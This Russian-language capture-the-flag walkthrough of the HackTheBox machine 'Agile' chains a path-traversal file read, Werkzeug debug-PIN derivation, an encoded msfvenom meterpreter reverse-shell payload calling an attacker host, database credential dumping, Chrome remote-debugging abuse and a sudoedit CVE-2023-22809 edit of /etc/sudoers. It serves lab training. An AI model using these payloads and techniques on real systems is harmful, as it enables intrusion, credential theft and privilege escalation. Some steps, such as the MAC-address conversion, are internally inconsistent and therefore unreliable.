Обзор сервисов

IP-адрес машины 10.10.11.203. Проверим вывод nmap:

$ nmap -sC -sT -p1-65535 -Pn -oN 10.10.11.203 10.10.11.203
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-18 13:23 EDT
Nmap scan report for 10.10.11.203
Host is up (0.062s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
| ssh-hostkey: 
|   256 f4:bc:ee:21:d7:1f:1a:a2:65:72:21:2d:5b:a6:f7:00 (ECDSA)
|_  256 65:c1:48:0d:88:cb:b9:75:a0:2c:a5:e6:37:7e:51:06 (ED25519)
80/tcp open  http
|_http-title: Did not follow redirect to http://superpass.htb

Nmap done: 1 IP address (1 host up) scanned in 57.16 seconds

Пропишем в /etc/hosts:

$ sudo nano /etc/hosts
10.10.11.203 superpass.htb

Вебка

Приложение - менеджер паролей.

Alt text

Зарегистрируемся и войдем в хранилище.

Alt text

Поищем другие директории на сервере:

$ gobuster dir -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://superpass.htb -t 20
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://superpass.htb
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/07/18 13:33:31 Starting gobuster in directory enumeration mode
===============================================================
/static               (Status: 301) [Size: 178] [--> http://superpass.htb/static/]
/download             (Status: 302) [Size: 249] [--> /account/login?next=%2Fdownload]
Progress: 4967 / 4990 (99.54%)
===============================================================
2023/07/18 13:33:47 Finished
===============================================================

После аутентификации можно попытаться загрузить файл.

Alt text

Если нажать Export, то редиректит на /download.

Alt text

Local File Inclusion

Мы можем скачивать файлы, например, посмотрим на пользователей системы:

http://superpass.htb/download?fn=../etc/passwd
...
corum:x:1000:1000:corum:/home/corum:/bin/bash
...
mysql:x:109:112:MySQL Server,,,:/nonexistent:/bin/false
...
edwards:x:1002:1002::/home/edwards:/bin/bash
dev_admin:x:1003:1003::/home/dev_admin:/bin/bash
...

Flask

Приложение на Flask, поэтому постараемся понять его код.

http://superpass.htb/download?fn=../app/app/superpass/app.py
...
def enable_debug():
    from werkzeug.debug import DebuggedApplication
    app.wsgi_app = DebuggedApplication(app.wsgi_app, True)
    app.debug = True

def main():
    enable_debug()
    configure()
    app.run(debug=True)

def dev():
    configure()
    app.run(port=5555)

if __name__ == '__main__':
    main()
else:
    configure()

Приложение запущено в режиме отладки. Поэтому при возникновении ошибок будет выпадать stacktrace, а также возможность использовать консоль разработчика Werkzeug, закрытую пин-кодом.

Alt text

Alt text

Хорошая новость в том, что пин-код не является случайным, и мы можем подобрать его. Воспользуемся статьей и скриптом из нее. Тащим имя пользователя и параметры среды.

http://superpass.htb/download?fn=../proc/self/environ
LANG=C.UTF-8�PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin�HOME=/var/www�LOGNAME=www-data�USER=www-data�INVOCATION_ID=7efdc58a84af4d1ab480eb9303e96110�JOURNAL_STREAM=8:32814�SYSTEMD_EXEC_PID=1074�CONFIG_PATH=/app/config_prod.json�

На всякий случай, заберем конфигурационный файл с паролем для базы данных.

http://superpass.htb/download?fn=../app/config_prod.json
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}

Mac-адрес машины.

http://superpass.htb/download?fn=../proc/net/arp
IP address       HW type     Flags       HW address            Mask     Device
10.10.10.2       0x1         0x2         00:50:56:b9:93:5a     *        eth0

Преобразуем его в десятичный вид.

>>> print(0x005056b9331d)
345052361501

Идентификатор машины.

http://superpass.htb/download?fn=../etc/machine-id
ed5b159560f54721827644bc9b220d00

Расположение сервиса относительно cgroup.

http://superpass.htb/download?fn=../proc/self/cgroup
0::/system.slice/superpass.service
ed5b159560f54721827644bc9b220d00superpass.service

Подставляем все эти параметры в скрипт по ссылке и запускаем, получаем пин-коды.

$ python3 pin.py                                                          
==========================================================================
122-540-174
('www-data', 'flask.app', 'wsgi_app', '/app/venv/lib/python3.10/site-packages/flask/app.py', '345052361501', 'ed5b159560f54721827644bc9b220d00superpass.service')
==========================================================================
==========================================================================
843-573-677
('www-data', 'flask.app', 'DebuggedApplication', '/app/venv/lib/python3.10/site-packages/flask/app.py', '345052361501', 'ed5b159560f54721827644bc9b220d00superpass.service')
==========================================================================
==========================================================================
120-533-638
('www-data', 'flask.app', 'Flask', '/app/venv/lib/python3.10/site-packages/flask/app.py', '345052361501', 'ed5b159560f54721827644bc9b220d00superpass.service')
==========================================================================
==========================================================================
335-949-778
('www-data', 'werkzeug.debug', 'wsgi_app', '/app/venv/lib/python3.10/site-packages/flask/app.py', '345052361501', 'ed5b159560f54721827644bc9b220d00superpass.service')
==========================================================================
==========================================================================
337-816-809
('www-data', 'werkzeug.debug', 'DebuggedApplication', '/app/venv/lib/python3.10/site-packages/flask/app.py', '345052361501', 'ed5b159560f54721827644bc9b220d00superpass.service')
==========================================================================
==========================================================================
197-072-156
('www-data', 'werkzeug.debug', 'Flask', '/app/venv/lib/python3.10/site-packages/flask/app.py', '345052361501', 'ed5b159560f54721827644bc9b220d00superpass.service')
==========================================================================

Первый же пин-код подходит к консоли.

Reverse Shell

Сразу получим интерактивный шелл.

$ msfvenom -p python/meterpreter/reverse_tcp LHOST=10.10.14.122 LPORT=4242 > pyterpreter.py
[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
No encoder specified, outputting raw payload
Payload size: 428 bytes
$ cat pyterpreter.py 
exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/orckGEMb4h4WK4h4EBHB9SYibTJqaJqEJKtV8b+7IYswzPBm3rz5MEvwMbfJqxky+7ZmYtOYYCNZynGvMstmAfTqY7u2xrVxdG9A+o5uUZPj18E3aajNvAYi2BHv7q9uX3aPD9eXd7TwuPLOgcqE4L7jxSTvhcBMCilooUwRxhk1sCoIuWiX4TxZgEDOKLJD3YnvXRjVTPDFDWaJR1AfRFL61D0jPRyxpejz3VhoLTii6bk9yOmT/+ppTVMEKyhSzuYalF9ChJRI/QCfNrIkNRQm+8EJb9MvRX/BHl7m')[0])))
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload python/meterpreter/reverse_tcp
payload => python/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
lhost => tun0
msf6 exploit(multi/handler) > set lport 4242
lport => 4242
msf6 exploit(multi/handler) > run

Alt text

MySQL

Достанем пароли из базы данных.

$ mysql -u superpassuser -p -e "SHOW DATABASES;"
Enter password: dSA6l7q*yIVs$39Ml6ywvgK
superpass
$ mysql -u superpassuser -p superpass -e "SHOW TABLES;"
Enter password: dSA6l7q*yIVs$39Ml6ywvgK
Tables_in_superpass
passwords
users
$ mysql -u superpassuser -p superpass -e "SELECT * FROM passwords;"
Enter password: dSA6l7q*yIVs$39Ml6ywvgK
id      created_date    last_updated_data       url     username        password        user_id
3       2022-12-02 21:21:32     2022-12-02 21:21:32     hackthebox.com  0xdf    762b430d32eea2f12970    1
4       2022-12-02 21:22:55     2022-12-02 21:22:55     mgoblog.com     0xdf    5b133f7a6a1c180646cb    1
6       2022-12-02 21:24:44     2022-12-02 21:24:44     mgoblog corum   47ed1e73c955de230a1d    2
7       2022-12-02 21:25:15     2022-12-02 21:25:15     ticketmaster    corum   9799588839ed0f98c211    2
8       2022-12-02 21:25:27     2022-12-02 21:25:27     agile   corum   5db7caa1d13cc37c9fc2    2

Пароль пользователя corum:5db7caa1d13cc37c9fc2.

SSH

Этот же пароль подходит к SSH.

$ ssh [email protected]
5db7caa1d13cc37c9fc2

Пользовательский флаг

corum@agile:~$ ls
user.txt
corum@agile:~$ id
uid=1000(corum) gid=1000(corum) groups=1000(corum)
corum@agile:~$ cat user.txt 
e088973ddd6d99bdae0c4602e8a417dc

Alt text

Повышение привилегий

Видим дополнительные сервисы на машине - еще одну базу данных (33060), еще одно приложение на flask (5555), а также доменное имя test.superpass.htb.

$ cat /etc/hosts
127.0.0.1 localhost superpass.htb test.superpass.htb
127.0.1.1 agile
$ ss -tunlp
Netid        State         Recv-Q        Send-Q               Local Address:Port                Peer Address:Port       Process       
udp          UNCONN        0             0                    127.0.0.53%lo:53                       0.0.0.0:*                        
udp          UNCONN        0             0                          0.0.0.0:68                       0.0.0.0:*                        
tcp          LISTEN        0             511                        0.0.0.0:80                       0.0.0.0:*                        
tcp          LISTEN        0             5                        127.0.0.1:60243                    0.0.0.0:*                        
tcp          LISTEN        0             2048                     127.0.0.1:5555                     0.0.0.0:*                        
tcp          LISTEN        0             4096                 127.0.0.53%lo:53                       0.0.0.0:*                        
tcp          LISTEN        0             128                        0.0.0.0:22                       0.0.0.0:*                        
tcp          LISTEN        0             70                       127.0.0.1:33060                    0.0.0.0:*                        
tcp          LISTEN        0             10                       127.0.0.1:41829                    0.0.0.0:*                        
tcp          LISTEN        0             2048                     127.0.0.1:5000                     0.0.0.0:*                        
tcp          LISTEN        0             151                      127.0.0.1:3306                     0.0.0.0:*                        
tcp          LISTEN        0             5                            [::1]:60243                       [::]:*                        
tcp          LISTEN        0             128                           [::]:22                          [::]:*

Прокинем туннель для приложения.

# туннель
$ ssh -L 127.0.0.1:5555:superpass.htb:5555 [email protected]
5db7caa1d13cc37c9fc2

Сервис выглядит аналогично, но уязвимость LFI запатчена.

Alt text

Видим, что в процессах висит chrome и chromedriver.

$ ps aux | grep chrome
root        9012  0.1  0.3 33625804 13652 ?      Sl   17:20   0:00 chromedriver --port=43987
runner      9018  0.6  2.7 33984864 109952 ?     Sl   17:20   0:01 /usr/bin/google-chrome --allow-pre-commit-input --crash-dumps-dir=/tmp --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-gpu --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-blink-features=ShadowDOMV0 --enable-logging --headless --log-level=0 --no-first-run --no-service-autorun --password-store=basic --remote-debugging-port=41829 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.com.google.Chrome.O6fzKo --window-size=1420,1080 data:,
runner      9025  0.0  0.0 33575872 1600 ?       Sl   17:20   0:00 /opt/google/chrome/chrome_crashpad_handler --monitor-self-annotation=ptype=crashpad-handler --database=/tmp --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=lsb-release=Ubuntu 22.04.2 LTS --annotation=plat=Linux --annotation=prod=Chrome_Headless --annotation=ver=108.0.5359.94 --initial-client-fd=5 --shared-client-connection
runner      9030  0.0  1.4 33822084 57796 ?      S    17:20   0:00 /opt/google/chrome/chrome --type=zygote --no-zygote-sandbox --enable-logging --headless --log-level=0 --headless --crashpad-handler-pid=9025 --enable-crash-reporter
runner      9031  0.0  1.3 33822072 55572 ?      S    17:20   0:00 /opt/google/chrome/chrome --type=zygote --enable-logging --headless --log-level=0 --headless --crashpad-handler-pid=9025 --enable-crash-reporter
runner      9033  0.0  0.3 33822100 15432 ?      S    17:20   0:00 /opt/google/chrome/chrome --type=zygote --enable-logging --headless --log-level=0 --headless --crashpad-handler-pid=9025 --enable-crash-reporter
runner      9047  0.8  1.9 33913036 79252 ?      Sl   17:20   0:01 /opt/google/chrome/chrome --type=gpu-process --enable-logging --headless --log-level=0 --ozone-platform=headless --use-angle=swiftshader-webgl --headless --crashpad-handler-pid=9025 --gpu-preferences=WAAAAAAAAAAgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --enable-logging --log-level=0 --shared-files --field-trial-handle=0,i,16435426365278845695,15213895524511337452,131072 --disable-features=PaintHolding
runner      9050  0.0  2.0 33871388 82408 ?      Sl   17:20   0:00 /opt/google/chrome/chrome --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --enable-logging --log-level=0 --use-angle=swiftshader-webgl --use-gl=angle --headless --crashpad-handler-pid=9025 --enable-logging --log-level=0 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=0,i,16435426365278845695,15213895524511337452,131072 --disable-features=PaintHolding --enable-crash-reporter
runner      9080  1.1  2.9 1184726396 115992 ?   Sl   17:20   0:01 /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=9025 --lang=en-US --enable-automation --enable-logging --log-level=0 --remote-debugging-port=41829 --test-type=webdriver --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --enable-blink-features=ShadowDOMV0 --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1689772025174657 --launch-time-ticks=15177795359 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=0,i,16435426365278845695,15213895524511337452,131072 --disable-features=PaintHolding
corum       9149  0.0  0.0   4020  1996 pts/0    S+   17:22   0:00 grep --color=auto chrome

Запущен селениум на порту 41829.

$ cd /app/app-testing/tests/functional
corum@agile:/app/app-testing/tests/functional$ cat test_site_interactively.py | grep remote
    options.add_argument("--remote-debugging-port=41829")

Сделаем перенаправление портов на локальный компьютер и подключимся с помощью chromium.

$ ssh -L 127.0.0.1:41829:superpass.htb:41829 [email protected]
5db7caa1d13cc37c9fc2

Alt text

Перейдем по пути /devtools/inspector.html…

Alt text

Мы залогинены под каким-то пользователем. Попробуем посмотреть его пароли.

Alt text

Пользователь edwards:d07867c6267dcb5df0af.

edwards

Перейдем к пользователю edwards.

$ su edwards
d07867c6267dcb5df0af
$ id
uid=1002(edwards) gid=1002(edwards) groups=1002(edwards)

Пользователь может исполнять sudoedit от имени dev_admin относительно двух файлов.

$ sudo -l
[sudo] password for edwards: 
Matching Defaults entries for edwards on agile:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User edwards may run the following commands on agile:
    (dev_admin : dev_admin) sudoedit /app/config_test.json
    (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt

Креды базы данных:

$ sudoedit -u dev_admin /app/config_test.json
{
    "SQL_URI": "mysql+pymysql://superpasstester:VUO8A2c2#3FnLq3*a9DX1U@localhost/superpasstest"
}

Креды edwards:

$ sudoedit -u dev_admin /app/app-testing/tests/functional/creds.txt
edwards:1d7ffjwrx#$d6qn!9nndqgde4

Но это ничего не дает. Проверим версию sudo:

$ sudo --version
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9

К счастью, есть CVE-2023-22809 с публичным эксплоитом, которая для этой версии sudo позволяет провести атаку и выполнить произвольный код. Посмотрим, что исполняет пользователь root. Как видим, он часто исполняет /app/venv/bin/activate, после чего происходит запуск тестов:

$ ps aux | grep venv
...
root        9523  0.0  0.5  28148 23636 ?        R    17:40   0:00 /app/venv/bin/python3 /app/venv/bin/pytest -x
...

Проэксплуатируем это:

$ export EDITOR="vim -- /app/venv/bin/python3"
$ sudoedit -u dev_admin /app/app-testing/tests/functional/creds.txt
# добавить строку
echo "edwards ALL=(ALL:ALL) ALL" >> /etc/sudoers
# подождать минуту
$ sudo su

Флаг суперпользователя

root@agile:~# id
uid=0(root) gid=0(root) groups=0(root)
root@agile:~# ls
app  clean.sh  root.txt  superpass.sql  testdb.sql
root@agile:~# cat root.txt
52ecedbd6fbc5d3478c4ab839247da1b

Alt text